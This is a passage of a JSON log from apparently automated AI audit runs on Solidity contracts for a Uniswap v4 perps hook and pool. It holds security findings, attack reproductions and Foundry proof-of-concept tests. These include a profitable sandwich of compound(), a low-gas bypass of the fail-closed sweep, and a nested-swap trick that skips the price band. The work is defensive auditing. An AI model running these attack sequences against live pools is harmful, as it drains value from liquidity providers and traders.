ETH result | pool displaced after |\n|---|---|---|\n| 0.5 ETH + 5e8 coin | +0.00086 ETH | 475 bps |\n| 1 ETH + 1e9 coin | +0.00527 ETH | 805 bps |\n| 2 ETH + 2e9 coin | +0.0112 ETH | 1259 bps |\n\n2. **Low: `_afterSwap` runs the post-trade liquidation sweep before `_checkBand`.** A 1 ETH buy that the band refuses alone passes once an engine's liquidations sell the price back, and those liquidations ran at a price 2.2x away from Pons. Proof at `test/scratch/PostSweepBand.t.sol`. Severity is low because the engine is not part of this launch.\n\n3. **Low: the \"moves closer\" exception allows crossing Pons to the far side.** From 9999 bps above the reference, a single 1.85 ETH buy ends 8351 bps below it and is accepted, a 3.7x price swing in one swap.\n\n4. **Info: owner trust assumptions.** `renounceOwnership` on the pool permanently strands all liquidity, which contradicts the stated replacement property. Recorded as a trust assumption, not a defect.\n\n**Coverage.** All 37 listed entry points have a row, 36 marked `holds` or `finding`, plus rows for the three invariants I checked. One row is `unreached`: the live Pons ABI assumptions, the launcher's `addFees` compatibility, and the coin's transfer behavior cannot be checked offline, and a mismatched Pons ABI would silently disable or invert the band. The existing 50 offline tests still pass.","treeHash":null,"usage":{"cachedInputTokens":2742042,"inputTokens":674,"model":"claude-fable-5-1","outputTokens":62250,"runtime":"claude","turns":37,"wallClockMs":1078882}},{"artifacts":[],"attempt":1,"bundleHash":"3cb87c54236fa2070e93f2c75c59372ccbbe83448abc3b30b2265e7bd9d6326c","device":"69bbcd9de2fdd6d0","findings":[],"hash":"800776c4bd55cc404c438b452092c706759dd136084b269592fe341441dec517","nodeId":"425d5ce3-9b48-418e-aec8-7f50d5a84d2e","outcome":"completed","summary":"Implemented the launch adaptation and reproduced audit fixes. Constructor arguments, hook flags, static fee, fee split, and owner withdrawal flow are preserved.\n\n- `forge build` passed.\n- `forge test`: 53 passed; fork suite skipped because `ROBINHOOD_RPC_URL` is unset.\n- Launch fixture used ~5.88M gas. Bounded mining still requires simulation with the final factory salt.\n\nChanges and limitations are documented in [ADAPTATION.md](/root/.identitymd/work/ea1c84c3-a80c-4bfd-84a7-0a1d7adccd02/425d5ce3-9b48-418e-aec8-7f50d5a84d2e/ADAPTATION.md).","treeHash":"bbff84ff02a24788eea314ad85511f529e59661e","usage":{"cachedInputTokens":2575360,"inputTokens":146332,"model":"gpt-6-astra","outputTokens":34661,"runtime":"codex","turns":8,"wallClockMs":1003334}},{"artifacts":[],"attempt":1,"bundleHash":"adbc06de97a66c3f027ec0aa8de24c3f5442c71c038d8242745493244f145213","device":"77cba07fd04368e3","findings":[],"hash":"bc8c115c21f4a181f6e6a9aaa9a81c1e1d0f5e10e722532206ece14ccba7394a","nodeId":"09cf87ea-58a6-4a91-8099-212ad0e1e118","outcome":"completed","summary":"Created [launch.json](/home/imd-worker2/.identitymd/work/ea1c84c3-a80c-4bfd-84a7-0a1d7adccd02/09cf87ea-58a6-4a91-8099-212ad0e1e118/launch.json) for `IMD6900PerpsLaunch`, using `$owner` for ownership.\n\nManifest structure and constructor ABI checks passed. Offline `forge build` succeeded; `forge test` passed 50 tests, with the fork suite skipped because `ROBINHOOD_RPC_URL` was unset.\n\nOnly `launch.json` is changed for submission.","treeHash":"90afdb7507ef0913cf85d965c73d3f6fdab4056c","usage":{"cachedInputTokens":161792,"inputTokens":70190,"model":"gpt-6-astra","outputTokens":2886,"runtime":"codex","turns":3,"wallClockMs":82739}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"232b62e021f6f394","findings":[{"citation":"resolved","description":"First principles / execution trace. compound() is callable by anyone and adds the contract's whole idle balance as full-range liquidity at whatever price slot0 holds at that moment. Its only parameters, minEth and minTokens, are thresholds on the idle balances, not on the price or on the liquidity obtained, so they cannot stop a caller who first pushes the price. The implicit assumption is that the spot price at compound time is fair; an unprivileged caller controls it within the band (default 30%). The attacker buys coin (price moves away from Pons but stays inside maxDeviationBps, so afterSwap accepts it), calls compound so the pool pairs its idle ETH and coin at the pushed price, then sells the coin back; the sell moves the price toward Pons, which the band always allows. The newly added liquidity sits at the pushed price and bears the impermanent loss of the round trip, which the attacker collects net of the two 1% fees. Measured against the repository's own fixture (test/IMD6900Perps.t.sol: 2 ETH + 2e27 coin of depth at 1e9 coin/ETH, fee 1%): idle 2 ETH + 2e27 coin and a 0.25 ETH push nets the attacker +0.00858 ETH; idle 1 ETH + 1e27 coin nets +0.00383 ETH; idle 0.2 ETH + 2e26 coin loses 0.0025 ETH. So the attack pays whenever the idle balances are roughly a third of the pool's depth or more, which is exactly the state compound exists to clear: the creator-fee split (10% of harvests, script/Owner.s.sol wire) and released coin accumulate in the pool until someone compounds, and the attacker is the one who chooses when. The loss is bounded (about 0.2% of the idle value per event here, more with a larger push up to the band) and repeats each time idle balances build up. Minimal fix that keeps the design: have compound refuse when the pool is away from the Pons reference (e.g. require IMD6900PerpHook(hook).deviationBps() <= a tight tolerance such as 100 bps when ponsPriceX96() != 0), or restrict compound to the owner / an allowlisted keeper, or take an explicit sqrtPrice bound and a minimum liquidity that the owner's keeper supplies.","line":170,"path":"src/IMD6900PerpPool.sol","reproduction":"Fixture: test/IMD6900Perps.t.sol setUp (real vendored PoolManager, pool opened by OWNER with 2 ETH and 2e27 coin at sqrt(1e9)<<96, curve 1 ETH / 1e27 so the pool opens at the Pons price). Then: vm.deal(address(pool), 2 ether); coin.mint(address(pool), 2e27); (idle balances the fee split or a release would leave). Attacker = Trader with 10 ETH: (1) e0 = trader.balance; d = trader.swap(pool.poolKey(), true, -0.25 ether) [buy coin with 0.25 ETH; afterSwap passes, deviation stays under 3000]; (2) pool.compound(0, 0) from any address [pairs the idle 2 ETH + 2e27 coin at the pushed price]; (3) trader.swap(pool.poolKey(), false, -int256(uint128(d.amount1()))) [sell every coin back; moves toward Pons so the band allows it]. Expected: the attacker cannot end with more ETH than they started with after paying 1% twice. Actual: trader.balance - e0 = +8583975808129508 wei (+0.00858 ETH), coin balance unchanged; with idle 1 ETH + 1e27 coin the same sequence nets +3825645774108867 wei; with idle 0.2 ETH + 2e26 coin it nets -2497500318456908 wei (unprofitable). The pool's position plus idle balances is worth less than if compound had run at the Pons price.","severity":"low","snippet":"        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey().toId());\n        liq = _fullRangeLiquidity(sqrtPriceX96, ethHave, tokensHave);","title":"compound() pairs the pool's idle ETH and coin at the unguarded spot price, so anyone can sandwich it and take value from the protocol-owned position"},{"citation":"resolved","description":"Execution trace: two branches of _sweep treat the same engine state differently. With at least SWEEP_GAS_RESERVE + 2*SWEEP_GAS_MIN (980,000) gas left at _beforeSwap, a sweep call that fails or returns no data reverts the trade with SweepUnavailable unless the owner set sweepFailOpen (lines 422-425): the documented fail-closed rule ('a sweep that cannot finish reverts the trade'). With less gas the code takes the else branch and only asks openCount(); if that staticcall reverts or returns fewer than 32 bytes (a reverting engine such as the repository's BrokenEngine, an engine address with no code yet, or any engine whose view fails) the condition is false and the trade proceeds with no sweep at all. A swap through this hook needs well under 700,000 gas, so any trader can choose the permissive branch by sending a transaction with ~700k gas. The result is that the owner's fail-closed guarantee only holds for callers who send more gas than they need; whenever the engine is in a state where its sweep would be refused, low-gas trades still move the price without liquidating anything, which is the bad-debt window the sweep exists to close. Preconditions: perpEngine set to an address whose openCount() reverts or returns nothing. Minimal fix: in the low-gas branch, treat an unreadable openCount() exactly like an unreadable sweep: if (!ok || ret.length < 32) { if (!sweepFailOpen) revert SweepUnavailable(); return; } before the nonzero check.","line":431,"path":"src/IMD6900PerpHook.sol","reproduction":"Fixture: test/IMD6900Perps.t.sol setUp. Then vm.prank(OWNER); hook.setPerpEngine(address(new BrokenEngine())) (BrokenEngine from test/RobinhoodFlow.fork.t.sol: a fallback that reverts). (1) trader.swap(pool.poolKey(), true, -0.001 ether) with default gas: reverts with WrappedError(hook, beforeSwap, SweepUnavailable, HookCallFailed), as test_FailClosedEngineNeverPreventsOwnerExit expects. (2) The identical call with trader.swap{gas: 700_000}(pool.poolKey(), true, -0.001 ether): expected the same SweepUnavailable revert (sweepFailOpen is false); actual: the swap succeeds and the trader's coin balance increases, no sweep call having been made (the staticcall to openCount() reverted, so the guard on line 432 is skipped).","severity":"low","snippet":"            (bool ok, bytes memory ret) = engine.staticcall(abi.encodeCall(IPerpSweep.openCount, ()));\n            if (ok && ret.length >= 32 && abi.decode(ret, (uint256)) != 0) revert SweepGasStarved();","title":"A swap sent with little gas skips the fail-closed pre-trade sweep whenever the engine's openCount() is unreadable, so sweepFailOpen=false can be bypassed by gas choice"},{"citation":"resolved","description":"Execution trace across the nested callbacks. In _afterSwap the best-effort sweep runs first and the engine may liquidate by swapping on this pool (the model in test/IMD6900Audit.t.sol PostSweepEngine). Those nested swaps have sender == engine, so their own _afterSwap skips the band (devBefore == max). But the outer trade's _checkBand then reads poolPriceX96() after the liquidations and compares it with the outer trade's devBefore. If the liquidation's own price impact leaves the pool past maxDeviationBps and further than devBefore, the outer, honest trade reverts with TooFarFromPons and the whole frame, liquidation included, is undone. The design statement on lines 391-392 ('The engine is never subject to the band: a liquidation must run whatever the price is doing') therefore does not hold for liquidations the post-trade sweep triggers: a small trade from an ordinary router fails because of a liquidation it did not make, and the underwater position stays open until a keeper liquidates directly or a pre-trade sweep (whose nested swaps run before devBefore is measured, lines 363-366) picks it up. Impact is liveness for traders and a one-trade delay for liquidations, not loss, hence low. Minimal fix: measure the band on the price the outer swap itself produced, i.e. read poolPriceX96() before the post-trade sweep (or pass that value to _checkBand), so the engine's nested swaps are not attributed to the outer sender.","line":384,"path":"src/IMD6900PerpHook.sol","reproduction":"Fixture: test/IMD6900Perps.t.sol setUp. Deploy an engine like PostSweepEngine (test/IMD6900Audit.t.sol) whose sweepLiquidations(spec == 0) performs one nested pm.swap(key, SwapParams(true, -0.5 ether, MIN_SQRT_PRICE + 1)) and settles it; fund it with 5 ETH; vm.prank(OWNER); hook.setPerpEngine(address(engine)). Then trader.swap(pool.poolKey(), true, -1000) (a 1000 wei buy, far inside the band on its own). Expected: the honest trade succeeds and the liquidation stands. Actual: the call reverts with WrappedError(hook, afterSwap, TooFarFromPons, HookCallFailed) and engine.liquidations() stays 0; the same 0.5 ETH swap sent by the engine directly (sender == engine) is accepted.","severity":"low","snippet":"        _sweep(sender, 0, false, 0);\n        _checkBand(devBefore);","title":"A liquidation run by the post-trade sweep is rolled back when it leaves the pool outside the band, because _checkBand judges the price after the engine's nested swaps"}],"hash":"e333297294256a8b71013bab0dc5ebbff9f4be21d81d0eab8022fc13bb02f2bf","nodeId":"9f605b27-fe16-45dd-b0d3-5e9b6bb72a0f","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds three substantiated findings and coverage rows for all 38 listed entry points plus the launch constructor and three invariants. The only change to the tree is that file; the scratch tests were removed.\n\n**What I checked.** I traced the control flow of all three contracts end to end against the Execution Trace, Periphery and First Principles guides: the launch constructor (pool creation, the CREATE2 preimage layout in the miner, exact-flag check, wiring, ownership handoff, fresh-chain and one-transaction properties), every hook callback through the vendored BaseHook and PoolManager ordering, the pool's unlock/settle accounting and its rounding against what PoolManager asks for, the owner's removal path (no hook state can block it, as the brief requires), and the vendored periphery (solady Ownable, ReentrancyGuard, SafeTransferLib; v4 Hooks, ImmutableState, PoolManager) which is unmodified upstream code. All 50 repository tests pass. Each finding was reproduced on the repository's own real-PoolManager fixture.\n\n**Findings, all low severity:**\n\n- **compound() can be sandwiched.** It pairs the pool's whole idle balance at the unguarded spot price, and its two parameters bound balances, not price. An attacker who buys within the band, compounds, then sells back nets positive ETH when idle balances are about a third of the depth or more. Measured on the fixture, the attacker gains 0.0086 ETH with idle equal to depth and loses with idle at a tenth of depth. Suggested fix is a tolerance against the Pons reference or restricting the caller.\n- **Low-gas swaps bypass the fail-closed sweep.** With under about 980k gas at the hook, an unreadable `openCount()` lets the trade proceed with no sweep, while the same trade at normal gas reverts with SweepUnavailable. Reproduced with the repository's BrokenEngine and a 700k gas swap.\n- **Post-trade liquidations get rolled back by the band.** The band is judged on the price after the engine's nested swaps, so a tiny honest trade reverts with TooFarFromPons when the liquidation it triggered moved the price out of band, undoing that liquidation.\n\n**Not reachable offline, recorded in coverage rather than as findings:** the live Pons launcher's `addFees()` ABI as the fee sink, which the fork test never calls, and the graduated-reference assumptions (record shape, phase 2, same PoolManager), whose mismatch would silently disable the band for good.","treeHash":null,"usage":{"cachedInputTokens":1069784,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":59532,"runtime":"claude","turns":32,"wallClockMs":986437}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"d00f790fc692b1a4","findings":[{"citation":"resolved","description":"_beforeSwap stores the pre-trade deviation in transient slot DEV_SLOT and _afterSwap reads it back in _checkBand. But _afterSwap first runs the post-trade sweep, and when that sweep makes the perps engine swap on this same pool (which is what a liquidation is), the engine's nested swap runs _beforeSwap again, and because tracksPons(engine) is false it overwrites DEV_SLOT with type(uint256).max. When control returns to the outer _afterSwap, _checkBand reads the sentinel and returns at line 408 without comparing anything. The outer trader's band check is therefore silently disabled in exactly the trades that move the price enough to sink a position. The guarantee the README states (\"it refuses to leave the pool further than maxDeviationBps from the coin's Pons price, unless the trade moved it closer\") no longer holds once an engine is wired, and the perps mark can be pushed arbitrarily far from Pons by an unprivileged trader who holds (or targets) a position that the trade liquidates. The engine itself is not in this repository, so the proof uses an engine whose post-trade sweep (spec == 0) performs one small liquidation swap and returns 0; the real engine does the same thing by design. Fix: read DEV_SLOT into a local before calling _sweep in _afterSwap (and pass it to _checkBand), or keep a depth counter so nested swaps do not clobber the outer frame's value.","line":394,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\n/// A plain router: swaps through the PoolManager as any router would\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// An engine whose post-trade sweep (spec == 0) liquidates one position by swapping on the pool itself, as the\n/// real engine does; the pre-trade sweep has nothing to do. Every sweep reports \"done\" (0).\ncontract SweepingEngine {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_, PoolKey memory k) { pm = pm_; key = k; }\n    function openCount() external pure returns (uint256) { return 1; }\n    function sweepLiquidations(address, int256 spec, bool, uint160) external returns (uint8) {\n        if (spec == 0) {\n            // the liquidation: a tiny buy of the coin with 1000 wei, settled by the engine itself\n            BalanceDelta d = pm.swap(key, SwapParams(true, -1000, TickMath.MIN_SQRT_PRICE + 1), \"\");\n            pm.settle{value: uint128(-d.amount0())}();\n            pm.take(key.currency1, address(this), uint128(d.amount1()));\n        }\n        return 0;\n    }\n    receive() external payable {}\n}\n\n/// Finding: the band check is skipped whenever the post-swap sweep makes the engine swap on the pool. The engine's\n/// own swap runs _beforeSwap, which overwrites the transient slot DEV_SLOT with type(uint256).max (the engine never\n/// tracks Pons), and the outer trade's _checkBand then reads that sentinel and returns without checking anything.\n/// A trader whose trade sinks a position can push the pool arbitrarily far from Pons in that same trade.\ncontract BandSkippedBySweepTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Curve curve; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_bandStillHoldsWhenThePostSweepLiquidates() public {\n        PoolKey memory k = pool.poolKey();\n        // without an engine the 1 ETH buy is refused: it would leave the pool far more than 30% from Pons\n        vm.expectRevert();\n        trader.swap(k, true, -1 ether);\n\n        SweepingEngine engine = new SweepingEngine(PM, k);\n        vm.deal(address(engine), 1 ether);\n        vm.prank(OWNER);\n        hook.setPerpEngine(address(engine));\n\n        // the same trade, with an engine whose post-trade sweep liquidates one position: it must still be refused\n        vm.expectRevert();\n        trader.swap(k, true, -1 ether);\n        assertLe(hook.deviationBps(), hook.maxDeviationBps(), \"the pool stayed inside the band\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n}","reproduction":"State: pool opened at 1e9 coin/ETH with 2 ETH + 2e27 coin, Pons curve at the same price, maxDeviationBps = 3000. Owner calls hook.setPerpEngine(E) where E.sweepLiquidations(_, 0, _, _) swaps 1000 wei ETH for coin on the pool and returns 0, and E.sweepLiquidations(_, spec != 0, _, _) returns 0. A router then calls PoolManager.swap(key, {zeroForOne: true, amountSpecified: -1 ether, limit: MIN_SQRT_PRICE+1}). Expected: revert TooFarFromPons (the same swap reverts with perpEngine == 0, and the trade leaves the pool at deviation ~10000 bps > 3000). Actual: the swap succeeds; hook.deviationBps() afterwards is far above maxDeviationBps. See test/scratch/BandSkippedBySweep.t.sol.","severity":"medium","snippet":"        _sweep(sender, 0, false, 0);\n        _checkBand();","title":"Band check is skipped whenever the post-swap sweep makes the engine swap on the pool (DEV_SLOT overwritten)"},{"citation":"resolved","description":"_graduatedPriceX96 says \"a reference we cannot read must leave the pool trading (band and skim simply off), never revert somebody's swap\", but the try/catch only wraps IPonsCurveView(c).factory(). getLaunchedToken(), token(), memeHook(), the PonsLaunchedToken ABI decode and poolManager.getSlot0 all run inside the try body, where a revert propagates. ponsPriceX96 itself calls graduated() and getReserves() (lines 275-276) with no try/catch at all. _checkBand calls ponsPriceX96 in _afterSwap for every swap whose sender is not the engine or fee-exempt, so from the moment any of those calls reverts (the curve graduates and the factory it names reverts on getLaunchedToken, returns a struct with a different layout than the hand-copied PonsLaunchedToken, or the curve is replaced / stops answering), every ordinary swap through this pool reverts. IMD6900PerpPool.curve is set once in open() (line 50 has no setter), so the owner cannot repoint the reference; the only ways out are fee-exempting every router (which disables the band entirely) or removing all liquidity and relaunching. The PonsV2LaunchFactory and curve sources are not in this repository and could not be checked against the interfaces the hook hard-codes, which is exactly the situation the try/catch was meant to survive. Fix: move the whole reference read into a function the hook calls through try/catch (an external self-call or a staticcall wrapper), and catch decode failures too; consider a curve setter on the pool.","line":286,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// The coin's Pons curve, once graduated: it still answers graduated() and factory(), but the factory it names has\n/// no code (or, on the live chain, a factory whose getLaunchedToken reverts or returns another struct layout).\ncontract GraduatedCurve {\n    uint256 public q; uint256 public t; address public token; bool public graduated;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function graduate() external { graduated = true; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0xdead); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// Finding: _graduatedPriceX96 promises \"a reference we cannot read must leave the pool trading, never revert\n/// somebody's swap\", but its try/catch covers only `factory()`. getLaunchedToken, token(), memeHook() and the\n/// struct decode run outside it, so once the curve graduates and any of those reverts, every swap by an ordinary\n/// router reverts in _afterSwap. The pool's `curve` has no setter, so the owner cannot repoint it.\ncontract UnreadablePonsHaltsTradingTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; GraduatedCurve curve; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        curve = new GraduatedCurve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_tradingContinuesWhenTheGraduatedReferenceCannotBeRead() public {\n        PoolKey memory k = pool.poolKey();\n        // before graduation an ordinary small buy goes through\n        trader.swap(k, true, -0.001 ether);\n\n        curve.graduate();\n        // the reference is now unreadable: the hook must treat it as \"no reference\" (band off), as its NatSpec\n        // says, and the same small buy must still go through\n        trader.swap(k, true, -0.001 ether);\n        // (the view agrees: an unreadable reference reads as 0, not as a revert)\n        assertEq(hook.ponsPriceX96(), 0, \"no reference\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n}","reproduction":"State: pool opened at 1e9 coin/ETH against a curve C whose graduated() returns false; a router's 0.001 ETH buy succeeds. Then C.graduated() starts returning true and C.factory() returns 0xdead (no code; on the live chain: any factory whose getLaunchedToken reverts or decodes differently). The same router sends the same 0.001 ETH buy. Expected: the swap succeeds and hook.ponsPriceX96() returns 0 (band off), per the NatSpec at lines 283-284. Actual: PoolManager.swap reverts with WrappedError(hook, afterSwap selector, ..., HookCallFailed) because getLaunchedToken reverted inside the try body; hook.ponsPriceX96() reverts as well. See test/scratch/UnreadablePonsHaltsTrading.t.sol.","severity":"medium","snippet":"        try IPonsCurveView(c).factory() returns (address f) {\n            PonsLaunchedToken memory l = IPonsFactoryView(f).getLaunchedToken(IPonsCurveView(c).token());","title":"Unreadable Pons reference reverts every swap instead of switching the band off; the try/catch covers only factory(), and the pool's curve cannot be repointed"},{"citation":"resolved","description":"_deviation returns |pool - ref| * 10000 / ref. When the pool price is below the reference the value is capped at 10000 (pool = 0), while above the reference it is unbounded (pool = 2 * ref gives 10000, pool = 3 * ref gives 20000). _checkBand allows any swap whose devAfter <= devBefore, treating a lower number as \"closer\". The two sides are not comparable: once Pons has moved so that the pool sits at 2x the Pons price (devBefore ~10000, reachable by anyone trading on the Pons curve), a single buy that drives the pool to 1/18 of the Pons price scores devAfter ~9435 < 10000 and is accepted, although it ends 36x away from where it started and 18x away from Pons, and far outside maxDeviationBps. The band is the only protection for the perps mark while the engine runs liquidations against this pool's price, and this lets an unprivileged trader push it to a price Pons never showed. A symmetric measure (max(pool, ref) * 10000 / min(pool, ref) - 10000, or comparing sqrt prices) and/or refusing swaps that end outside the band on the far side of the reference fixes it.","line":319,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// The Pons curve, whose reserves anyone moves by trading on it\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function set(uint256 q_, uint256 